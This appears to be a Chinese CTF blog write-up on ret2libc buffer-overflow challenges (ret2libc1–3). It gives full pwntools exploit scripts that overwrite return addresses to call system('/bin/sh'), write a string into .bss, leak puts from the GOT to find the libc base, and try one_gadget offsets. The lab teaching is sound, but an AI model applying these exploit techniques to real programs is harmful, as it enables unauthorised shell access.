[pwn] 5.ROP-ret2libc

题目ret2libc1

这里需要通过gets函数覆盖返回地址到system函数,并把/bin/sh作为system的参数。

由于是动态链接,所以需要把返回地址原本写system函数的地址改为system函数在plt表中的地址。

from pwn import *

elf = ELF("./ret2libc1")
sys_addr = elf.plt["system"]
bin_sh_addr = next(elf.search(b"/bin/sh"))

io = process("./ret2libc1")
io.recvline()
payload = b'a'*(108+4) + p32(sys_addr) + b'1111' + p32(bin_sh_addr)
io.sendline(payload)
io.interactive()

题目ret2libc2

相比于ret2libc1来说没有/bin/sh, 需要想到要往其中写入。这时就得想到.bss节可以写。
payload栈结构如下图。
在这里插入图片描述

from pwn import *

elf = ELF("ret2libc2")
sys_addr = elf.plt["system"]
gets_addr = 0x08048460
buf_addr = 0x0804a080

io = process("./ret2libc2")
io.recvuntil("What do you think ?")
payload = b'a'*(108+4) + p32(gets_addr) + \
		p32(sys_addr) + p32(buf_addr) + p32(buf_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()

或者通过pop、ret方法平衡栈
在这里插入图片描述

from pwn import *

elf = ELF("ret2libc2")
sys_addr = elf.plt["system"]
gets_addr = 0x08048460
buf_addr = 0x0804a080
pop_ebx_ret_addr = 0x0804872f

io = process("./ret2libc2")
io.recvuntil("What do you think ?")
payload = b'a'*(108+4) + p32(gets_addr) + \
	p32(pop_ebx_ret_addr) + p32(buf_addr) + \
	p32(sys_addr) + p32(1) + p32(buf_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()

题目ret2libc3

反编译代码
在这里插入图片描述
初始时main函数中的栈帧
在这里插入图片描述
调用printf_message函数中的strcpy函数时的栈帧
在这里插入图片描述
可以在第二个输入时构造payload,覆盖返回地址
在这里插入图片描述

通过内存泄漏,找到puts函数的真实地址
请添加图片描述
找到libc里system函数和puts函数地址差,从而得到system函数的地址
在这里插入图片描述

需要注意动态库每次装载时都会被装在到不同的地方,所以只能先获取system相对puts函数的偏移量。然后根据程序运行时得到的puts函数的真实地址得到system函数的真实地址。

通过pwndgb可以计算出第二次输入时需要覆盖的长度请添加图片描述
0xffffd010 - 0xffffd048 = -56,所以需要覆盖56+4=60个字节长度

system("/bin/sh")system("sh")都可以执行shell,所以这里在程序里找到一个以sh结尾的地址作为system的参数

但是最后打不通,后来发现是libc文件的问题
linux下的命令ldd是列出动态库的依赖关系,发现用的是/lib/i386-linux-gnu/libc.so.6

from pwn import *

elf = ELF("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
io = process("./ret2libc3")

io.sendlineafter(b'Give me an address (in dec) :', str(elf.got['puts']))
io.recvuntil(b'The content of the address : ')
libcBase = int(io.recvuntil(b'\n', drop=True), 16) - libc.symbols['puts']

sh_addr = next(elf.search(b'sh\x00'))
payload = flat(cyclic(60),libcBase+libc.symbols['system'], cyclic(4), sh_addr)
# cyclic(n)填充n字节的垃圾数据
io.sendlineafter(b'Leave some message for me :', payload)
io.interactive()

还有一个讨巧的方法,是用one_gadget来打,运气好的话可以打通
请添加图片描述
one_gadget是找libc文件中可以执行shell的程序的软件,每条语句都会有限制条件,如果满足限制条件的话才能打通。

payload = flat(cyclic(60),libcBase+libc.symbols['system'], cyclic(4), sh_addr)
改成
payload = flat(cyclic(60),libcBase+0x3a80c)
挨个地址试一试
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

H4ppyD0g

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值